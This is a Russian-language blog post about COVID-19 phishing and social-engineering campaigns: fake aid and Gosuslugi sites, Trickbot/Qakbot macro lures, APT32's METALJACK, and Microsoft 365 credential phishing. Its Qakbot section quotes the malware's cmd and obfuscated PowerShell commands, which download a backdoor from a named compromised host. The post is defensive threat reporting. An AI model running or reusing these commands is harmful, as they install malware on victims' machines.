ΠšΠΎΡ€ΠΎΠ½Π°Π²ΠΈΡ€ΡƒΡΠ½Ρ‹Π΅ ΠΊΠΈΠ±Π΅Ρ€Π°Ρ‚Π°ΠΊΠΈ: вся соль Π² ΡΠΎΡ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½ΠΆΠ΅Π½Π΅Ρ€ΠΈΠΈ

Π—Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΠΈ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ°ΡŽΡ‚ ΡΠΊΡΠΏΠ»ΡƒΠ°Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Ρ‚Π΅ΠΌΡƒ COVID-19, создавая всС Π½ΠΎΠ²Ρ‹Π΅ ΠΈ Π½ΠΎΠ²Ρ‹Π΅ ΡƒΠ³Ρ€ΠΎΠ·Ρ‹ для ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ, ΠΆΠΈΠ²ΠΎ ΠΈΠ½Ρ‚Π΅Ρ€Π΅ΡΡƒΡŽΡ‰ΠΈΡ…ΡΡ всСм, Ρ‡Ρ‚ΠΎ касаСтся эпидСмии. Π’ ΠΏΡ€ΠΎΡˆΠ»ΠΎΠΌ постС ΠΌΡ‹ ΡƒΠΆΠ΅ Π³ΠΎΠ²ΠΎΡ€ΠΈΠ»ΠΈ ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊΠΈΠ΅ разновидности врСдоносного ПО появились Π½Π° Π²ΠΎΠ»Π½Π΅ коронавируса, Π° сСгодня Ρ€Π΅Ρ‡ΡŒ ΠΏΠΎΠΉΠ΄Π΅Ρ‚ ΠΎ ΠΏΡ€ΠΈΠ΅ΠΌΠ°Ρ… ΡΠΎΡ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½ΠΆΠ΅Π½Π΅Ρ€ΠΈΠΈ, с ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ ΡƒΠΆΠ΅ ΡΡ‚ΠΎΠ»ΠΊΠ½ΡƒΠ»ΠΈΡΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈ Π² Ρ€Π°Π·Π½Ρ‹Ρ… странах, Π° Ρ‚ΠΎΠΌ числС ΠΈ Π² России. ΠžΠ±Ρ‰ΠΈΠ΅ Ρ‚Π΅Π½Π΄Π΅Π½Ρ†ΠΈΠΈ ΠΈ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ β€” ΠΏΠΎΠ΄ ΠΊΠ°Ρ‚ΠΎΠΌ.

ΠšΠΎΡ€ΠΎΠ½Π°Π²ΠΈΡ€ΡƒΡΠ½Ρ‹Π΅ ΠΊΠΈΠ±Π΅Ρ€Π°Ρ‚Π°ΠΊΠΈ: вся соль Π² ΡΠΎΡ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½ΠΆΠ΅Π½Π΅Ρ€ΠΈΠΈ

ΠŸΠΎΠΌΠ½ΠΈΡ‚Π΅ Π² ΠΏΡ€ΠΎΡˆΠ»Ρ‹ΠΉ Ρ€Π°Π· ΠΌΡ‹ Π³ΠΎΠ²ΠΎΡ€ΠΈΠ»ΠΈ ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ люди ΠΎΡ…ΠΎΡ‚Π½ΠΎ Ρ‡ΠΈΡ‚Π°ΡŽΡ‚ Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎ коронавирусС ΠΈ Ρ‚Π΅Ρ‡Π΅Π½ΠΈΠΈ эпидСмии, Π½ΠΎ ΠΈ ΠΎ ΠΌΠ΅Ρ€Π°Ρ… финансовой ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ? Π’ΠΎΡ‚ наглядный ΠΏΡ€ΠΈΠΌΠ΅Ρ€. Π’ Π½Π΅ΠΌΠ΅Ρ†ΠΊΠΎΠΌ ΡˆΡ‚Π°Ρ‚Π΅ БСвСрная Π Π΅ΠΉΠ½-ВСстфалия (North Rhine-Westphalia ΠΈΠ» NRW) Π±Ρ‹Π»Π° ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠ΅Π½Π° Π»ΡŽΠ±ΠΎΠΏΡ‹Ρ‚Π½Π°Ρ Ρ„ΠΈΡˆΠΈΠ½Π³ΠΎΠ²Π°Ρ Π°Ρ‚Π°ΠΊΠ°. Π—Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΠΈ создали ΠΊΠΎΠΏΠΈΠΈ сайта министСрства экономики (NRW Ministry of Economic Affairs), Π³Π΄Π΅ любой ΠΆΠ΅Π»Π°ΡŽΡ‰ΠΈΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ заявку Π½Π° ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅ ΠΌΠ°Ρ‚Π΅Ρ€ΠΈΠ°Π»ΡŒΠ½ΠΎΠΉ ΠΏΠΎΠΌΠΎΡ‰ΠΈ. Вакая ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ° Ρ€Π΅Π°Π»ΡŒΠ½ΠΎ сущСствуСт, ΠΈ это оказалось Π½Π° Ρ€ΡƒΠΊΡƒ мошСнникам. ΠŸΠΎΠ»ΡƒΡ‡ΠΈΠ² ΠΏΠ΅Ρ€ΡΠΎΠ½Π°Π»ΡŒΠ½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ своих ΠΆΠ΅Ρ€Ρ‚Π² ΠΎΠ½ΠΈ Π΄Π΅Π»Π°Π»ΠΈ заявку ΡƒΠΆΠ΅ Π½Π° настоящСм сайтС министСрства, Π½ΠΎ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π»ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ банковскиС Ρ€Π΅ΠΊΠ²ΠΈΠ·ΠΈΡ‚Ρ‹. По ΠΎΡ„ΠΈΡ†ΠΈΠ°Π»ΡŒΠ½Ρ‹ΠΌ Π΄Π°Π½Π½Ρ‹ΠΌ Π±Ρ‹Π»ΠΎ сдСлано 4 тыс Ρ‚Π°ΠΊΠΈΡ… Ρ„Π°Π»ΡŒΡˆΠΈΠ²Ρ‹Ρ… запросов, ΠΏΠΎΠΊΠ° схСма Π½Π΅ Π±Ρ‹Π»Π° раскрыта. Π’ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ $109 ΠΌΠΈΠ»Π»ΠΈΠΎΠ½ΠΎΠ², ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½Π½Ρ‹Ρ… для ΠΏΠΎΡΡ‚Ρ€Π°Π΄Π°Π²ΡˆΠΈΡ… Π³Ρ€Π°ΠΆΠ΄Π°Π½, ΠΏΠΎΠΏΠ°Π»ΠΈ Π² Ρ€ΡƒΠΊΠΈ мошСнникам.

ΠšΠΎΡ€ΠΎΠ½Π°Π²ΠΈΡ€ΡƒΡΠ½Ρ‹Π΅ ΠΊΠΈΠ±Π΅Ρ€Π°Ρ‚Π°ΠΊΠΈ: вся соль Π² ΡΠΎΡ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½ΠΆΠ΅Π½Π΅Ρ€ΠΈΠΈ

БСсплатный тСст Π½Π° COVID-19 Π½Π΅ ΠΆΠ΅Π»Π°Π΅Ρ‚Π΅?

Π”Ρ€ΡƒΠ³ΠΎΠΉ ΠΏΠΎΠΊΠ°Π·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ„ΠΈΡˆΠΈΠ½Π³Π° Π½Π° Ρ‚Π΅ΠΌΡƒ коронавируса Π±Ρ‹Π» ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠ΅Π½ Π² элСктронных писмах. БообщСния ΠΏΡ€ΠΈΠ²Π»Π΅ΠΊΠ°Π»ΠΈ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½ΠΈΠ΅ΠΌ ΠΏΡ€ΠΎΠΉΡ‚ΠΈ бСсплатноС тСстированиС Π½Π° ΠΏΡ€Π΅Π΄ΠΌΠ΅Ρ‚ зараТСния коронавирусом. Π’ΠΎ Π²Π»ΠΎΠΆΠ΅Π½ΠΈΠΈ этих писСм Π½Π°Ρ…ΠΎΠ΄ΠΈΠ»ΠΈΡΡŒ экзСмпляры Trickbot/Qakbot/Qbot. И ΠΊΠΎΠ³Π΄Π° ΠΆΠ΅Π»Π°ΡŽΡ‰ΠΈΠ΅ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ своС Π·Π΄ΠΎΡ€ΠΎΠ²ΡŒΠ΅ приступали ΠΊ β€œΠ·Π°ΠΏΠΎΠ»Π½Π΅Π½ΠΈΡŽ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½Π½ΠΎΠΉ формы”, Π½Π° ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€ загруТался врСдоносный скрипт. А Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ·Π±Π΅ΠΆΠ°Ρ‚ΡŒ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌ сэндбоксинга, скрипт приступал ΠΊ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ΅ основного вируса лишь Ρ‡Π΅Ρ€Π΅Π· Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ врСмя, ΠΊΠΎΠ³Π΄Π° систСмы Π·Π°Ρ‰ΠΈΡ‚Ρ‹ ΡƒΠ±Π΅ΠΆΠ΄Π°Π»ΠΈΡΡŒ, Ρ‡Ρ‚ΠΎ Π½ΠΈΠΊΠ°ΠΊΠΎΠΉ врСдоносной активности Π½Π΅ проихсодит.

Π£Π±Π΅Π΄ΠΈΡ‚ΡŒ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ Π² нСобходимости Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ макросы Ρ‚ΠΎΠΆΠ΅ Π±Ρ‹Π»ΠΎ нСслоТно. Для этого примСнялся стандартный Ρ‚Ρ€ΡŽΠΊ, ΠΊΠΎΠ³Π΄Π° для заполнСния Π°Π½ΠΊΠ΅Ρ‚Ρ‹ Π½ΡƒΠΆΠ½ΠΎ сначала Ρ€Π°Π·Ρ€Π΅ΡˆΠΈΡ‚ΡŒ макросы, Π° Π·Π½Π°Ρ‡ΠΈΡ‚ β€” Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ скрипт VBA.

ΠšΠΎΡ€ΠΎΠ½Π°Π²ΠΈΡ€ΡƒΡΠ½Ρ‹Π΅ ΠΊΠΈΠ±Π΅Ρ€Π°Ρ‚Π°ΠΊΠΈ: вся соль Π² ΡΠΎΡ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½ΠΆΠ΅Π½Π΅Ρ€ΠΈΠΈ

Как Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ, скрипт VBA ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ маскируСтся ΠΎΡ‚ антивирусов.

ΠšΠΎΡ€ΠΎΠ½Π°Π²ΠΈΡ€ΡƒΡΠ½Ρ‹Π΅ ΠΊΠΈΠ±Π΅Ρ€Π°Ρ‚Π°ΠΊΠΈ: вся соль Π² ΡΠΎΡ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½ΠΆΠ΅Π½Π΅Ρ€ΠΈΠΈ

Π’ Windows Π΅ΡΡ‚ΡŒ функция оТидания, ΠΊΠΎΠ³Π΄Π° ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΆΠ΄Π΅Ρ‚ /T <сСкунд>, ΠΏΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ ΠΏΡ€ΠΈΠ½ΡΡ‚ΡŒ ΠΎΡ‚Π²Π΅Ρ‚ β€œΠ”Π°β€ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ. Π’ нашСм случаС скрипт ΠΆΠ΄Π°Π» 65 сСкунд, ΠΏΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ Π²Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ Ρ„Π°ΠΉΠ»Ρ‹:

cmd.exe /C choice /C Y /N /D Y /T 65 & Del C:UsersPublictmpdirtmps1.bat & del C:UsersPublic1.txt

А Π² процСссС оТидания происходила Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ° врСдоносного ПО. Для этого Π±Ρ‹Π» Π·Π°ΠΏΡƒΡ‰Π΅Π½ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹ΠΉ скрипт PowerShell:

cmd /C powershell -Command ""(New-Object Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]: :FromBase64String('aHR0cDovL2F1dG9tYXRpc2NoZXItc3RhdWJzYXVnZXIuY29tL2ZlYXR1cmUvNzc3Nzc3LnBuZw==')), [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcUHVibGljXHRtcGRpclxmaWxl')) + '1' + '.e' + 'x' + 'e') >C:UsersPublic1.txt

ПослС дСкодирования значСния Base64, скрипт PowerShell Π·Π°Π³Ρ€ΡƒΠΆΠ°Π΅Ρ‚ бэкдор, находящийся Π½Π° ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π²Π·Π»ΠΎΠΌΠ°Π½Π½ΠΎΠΌ Π²Π΅Π±-сСрвСрС ΠΈΠ· Π“Π΅Ρ€ΠΌΠ°Π½ΠΈΠΈ:

http://automatischer-staubsauger.com/feature/777777.png

ΠΈ сохраняСт Π΅Π³ΠΎ ΠΏΠΎΠ΄ ΠΈΠΌΠ΅Π½Π΅ΠΌ:

C:UsersPublictmpdirfile1.exe

Папка β€˜C:UsersPublictmpdir’ удаляСтся ΠΏΡ€ΠΈ запускС Ρ„Π°ΠΉΠ»Π° β€˜tmps1.bat’, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ содСрТит ΠΊΠΎΠΌΠ°Π½Π΄Ρƒ cmd /c mkdir ""C:UsersPublictmpdir"".

ЦСлСвая Π°Ρ‚Π°ΠΊΠ° Π½Π° государствСнныС структуры

ΠšΡ€ΠΎΠΌΠ΅ этого Π½Π΅Π΄Π°Π²Π½ΠΎ Π°Π½Π°Π»ΠΈΡ‚ΠΈΠΊΠΈ FireEye сообщили ΠΎ Ρ†Π΅Π»Π΅Π²ΠΎΠΉ Π°Ρ‚Π°ΠΊΠ΅ APT32, Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½Π½ΠΎΠΉ Π½Π° ΠΏΡ€Π°Π²ΠΈΡ‚Π΅Π»ΡŒΡΡ‚Π²Π΅Π½Π½Ρ‹Π΅ структуры Уханя, Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠœΠΈΠ½ΠΈΡΡ‚Π΅Ρ€ΡΡ‚Π²ΠΎ НСотлоТной ΠŸΠΎΠΌΠΎΡ‰ΠΈ ΠšΠΈΡ‚Π°Ρ (Chinese Ministry of Emergency Management). Π’ ΠΎΠ΄Π½ΠΎΠΌ ΠΈΠ· распотраняСмых RTF ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Π»Π°ΡΡŒ ссылка Π½Π° ΡΡ‚Π°Ρ‚ΡŒΡŽ ΠΈΠ· New York Times ΠΏΠΎΠ΄ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ΠΌ Coronavirus Live Updates: China is Tracking Travelers From Hubei. Однако ΠΏΡ€ΠΈ Π΅Π΅ ΠΏΡ€ΠΎΡ‡Ρ‚Π΅Π½ΠΈΠΈ проихсодила Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ° врСдоносного ПО (Аналитики FireEye ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Π»ΠΈ экзСмпляр ΠΊΠ°ΠΊ METALJACK).

Π˜Π½Ρ‚Π΅Ρ€Π΅ΡΠ½ΠΎ, Ρ‡Ρ‚ΠΎ Π½Π° ΠΌΠΎΠΌΠ΅Π½Ρ‚ обнаруТСния Π½ΠΈ ΠΎΠ΄ΠΈΠ½ ΠΈΠ· антивирусов Π½Π΅ Π΄Π΅Ρ‚Π΅ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Π» этот экзСмпляр согласно Π΄Π°Π½Π½Ρ‹ΠΌ Virustotal.

ΠšΠΎΡ€ΠΎΠ½Π°Π²ΠΈΡ€ΡƒΡΠ½Ρ‹Π΅ ΠΊΠΈΠ±Π΅Ρ€Π°Ρ‚Π°ΠΊΠΈ: вся соль Π² ΡΠΎΡ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½ΠΆΠ΅Π½Π΅Ρ€ΠΈΠΈ

Когда ΠΎΡ„ΠΈΡ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅ сайты β€œΠ»Π΅ΠΆΠ°Ρ‚β€

Π―Ρ€Ρ‡Π°ΠΉΡˆΠΈΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ„ΠΈΡˆΠΈΠ½Π³ΠΎΠ²ΠΎΠΉ Π°Ρ‚Π°ΠΊΠΈ случился Π² России Π±ΡƒΠΊΠ²Π°Π»ΡŒΠ½ΠΎ Π½Π° днях. Поводом для этого стало Π½Π°Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π΄ΠΎΠ»Π³ΠΎΠΆΠ΄Π°Π½Π½ΠΎΠ³ΠΎ пособия Π½Π° Π΄Π΅Ρ‚Π΅ΠΉ Π² возрастС ΠΎΡ‚ 3 Π΄ΠΎ 16 Π»Π΅Ρ‚. Когда Π±Ρ‹Π»ΠΎ объявлСно ΠΎ стартС ΠΏΡ€ΠΈΠ΅ΠΌΠ° заявлСний 12 мая 2020 Π³ΠΎΠ΄Π°, ΠΌΠΈΠ»Π»ΠΈΠΎΠ½Ρ‹ Ρ€Π²Π°Π½ΡƒΠ»ΠΈ Π½Π° сайт Госуслуги Π·Π° Π΄ΠΎΠ»Π³ΠΎΠΆΠ΄Π°Π½Π½ΠΎΠΉ ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΈ ΠΎΠ±Ρ€ΡƒΡˆΠΈΠ»ΠΈ ΠΏΠΎΡ€Ρ‚Π°Π» Π½Π΅ Ρ…ΡƒΠΆΠ΅ ΠΏΡ€ΠΎΡ„Π΅ΡΡΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΠΉ DDoS-Π°Ρ‚Π°ΠΊΠΈ. Когда ΠΏΡ€Π΅Π·ΠΈΠ΄Π΅Π½Ρ‚ сказал, Ρ‡Ρ‚ΠΎ β€œΠ“ΠΎΡΡƒΡΠ»ΡƒΠ³ΠΈ Π½Π΅ ΡΠΏΡ€Π°Π²ΠΈΠ»ΠΈΡΡŒ с ΠΏΠΎΡ‚ΠΎΠΊΠΎΠΌ заявок”, Π² сСти Π·Π°Π³ΠΎΠ²ΠΎΡ€ΠΈΠ»ΠΈ ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Π·Π°Ρ€Π°Π±ΠΎΡ‚Π°Π» Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Π½Ρ‹ΠΉ сайт ΠΏΡ€ΠΈΠ΅ΠΌΠ° заявлСний.

ΠšΠΎΡ€ΠΎΠ½Π°Π²ΠΈΡ€ΡƒΡΠ½Ρ‹Π΅ ΠΊΠΈΠ±Π΅Ρ€Π°Ρ‚Π°ΠΊΠΈ: вся соль Π² ΡΠΎΡ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½ΠΆΠ΅Π½Π΅Ρ€ΠΈΠΈ

ΠŸΡ€ΠΎΠ±Π»Π΅ΠΌΠ° Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ сайтов Π·Π°Ρ€Π°Π±ΠΎΡ‚Π°Π»ΠΎ сразу нСсколько, ΠΈ ΠΏΠΎΠΊΠ° ΠΎΠ΄ΠΈΠ½, настоящий ΠΏΠΎ адрСсу posobie16.gosuslugi.ru Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ заявлСния, Π΅Ρ‰Π΅ дСсятки ΡΠΎΠ±ΠΈΡ€Π°ΡŽΡ‚ Π»ΠΈΡ‡Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ Π΄ΠΎΠ²Π΅Ρ€Ρ‡ΠΈΠ²Ρ‹Ρ… ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ.

КоллСги ΠΈΠ· Β«Π‘Π΅Ρ€Ρ‡Π˜Π½Ρ„ΠΎΡ€ΠΌΒ» нашли ΠΎΠΊΠΎΠ»ΠΎ 30 Π½ΠΎΠ²Ρ‹Ρ… ΠΌΠΎΡˆΠ΅Π½Π½ΠΈΡ‡Π΅ΡΠΊΠΈΡ… Π΄ΠΎΠΌΠ΅Π½ΠΎΠ² Π² Π·ΠΎΠ½Π΅ .ru. Infosecurity a Softline Company отслСдили Π±ΠΎΠ»Π΅Π΅ 70 ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹Ρ… Ρ„Π΅ΠΉΠΊΠΎΠ²Ρ‹Ρ… сайтов госуслуг с Π½Π°Ρ‡Π°Π»Π° апрСля. Π˜Ρ… создатСли ΠΌΠ°Π½ΠΈΠΏΡƒΠ»ΠΈΡ€ΡƒΡŽΡ‚ ΠΏΡ€ΠΈΠ²Ρ‹Ρ‡Π½ΠΎΠΉ символикой, Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ ΠΊΠΎΠΌΠ±ΠΈΠ½Π°Ρ†ΠΈΠΈ ΠΈΠ· слов gosuslugi, gosuslugi-16, vyplaty, covid-vyplaty, posobie ΠΈ Ρ‚Π°ΠΊ Π΄Π°Π»Π΅Π΅.

АТиотаТ ΠΈ ΡΠΎΡ†ΠΈΠ°Π»ΡŒΠ½Π°Ρ инТСнСрия

ВсС эти ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΠΎΠ΄Ρ‚Π²Π΅Ρ€ΠΆΠ΄Π°ΡŽΡ‚, Ρ‡Ρ‚ΠΎ Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΠΈ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ ΠΌΠΎΠ½Π΅Ρ‚ΠΈΠ·ΠΈΡ€ΡƒΡŽΡ‚ Ρ‚Π΅ΠΌΠ°Ρ‚ΠΈΠΊΡƒ коронавируса. И Ρ‡Π΅ΠΌ Π²Ρ‹ΡˆΠ΅ ΡΠΎΡ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠ΅ напряТСниС ΠΈ Ρ‡Π΅ΠΌ большС нСясных вопросов, Ρ‚Π΅ΠΌ большС шансов Ρƒ мошСнников ΡƒΠΊΡ€Π°ΡΡ‚ΡŒ Π²Π°ΠΆΠ½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅, Π·Π°ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ людСй ΡΠ°ΠΌΠΎΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΎΡ‚Π΄Π°Ρ‚ΡŒ свои дСньги ΠΈΠ»ΠΈ просто Π²Π·Π»ΠΎΠΌΠ°Ρ‚ΡŒ побольшС ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€ΠΎΠ².

А учитывая, Ρ‡Ρ‚ΠΎ пандСмия заставила ΠΏΠΎΡ‚Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ Π½Π΅ Π³ΠΎΡ‚ΠΎΠ²Ρ‹Ρ… ΠΊ этому людСй массово Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ ΠΈΠ· Π΄ΠΎΠΌΠ°, Π² Π·ΠΎΠ½Π΅ риска ΠΎΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‚ΡΡ Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π»ΠΈΡ‡Π½Ρ‹Π΅, Π½ΠΎ ΠΈ ΠΊΠΎΡ€ΠΏΠΎΡ€Π°Ρ‚ΠΈΠ²Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅. НапримСр, Π½Π΅Π΄Π°Π²Π½ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈ Microsoft 365 (Π±Ρ‹Π²ΡˆΠ΅Π³ΠΎ Office 365) Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΠΎΠ΄Π²Π΅Ρ€Π³Π»ΠΈΡΡŒ Ρ„ΠΈΡˆΠΈΠ½Π³ΠΎΠ²ΠΎΠΉ Π°Ρ‚Π°ΠΊΠ΅. Π›ΡŽΠ΄ΡΠΌ массово ΠΏΡ€ΠΈΡ…ΠΎΠ΄ΠΈΠ»ΠΈ голосовыС β€œΠΏΡ€ΠΎΠΏΡƒΡ‰Π΅Π½Π½Ρ‹Π΅β€ сообщСния Π²ΠΎ влоТСниях ΠΊ письмам. Однако фактичСски Ρ„Π°ΠΉΠ»Ρ‹ прСдставляли собой HTML-страницу, которая отправляла ΠΆΠ΅Ρ€Ρ‚Π² Π°Ρ‚Π°ΠΊΠΈ Π½Π° Ρ„Π°Π»ΡŒΡˆΠΈΠ²ΡƒΡŽ страницу Π²Ρ…ΠΎΠ΄Π° Microsoft 365. Как слСдствиС β€” потСря доступа ΠΈ компромСтация всСх Π΄Π°Π½Π½Ρ‹Ρ… ΠΈΠ· Π°ΠΊΠΊΠ°ΡƒΠ½Ρ‚Π°.

Π˜ΡΡ‚ΠΎΡ‡Π½ΠΈΠΊ: habr.com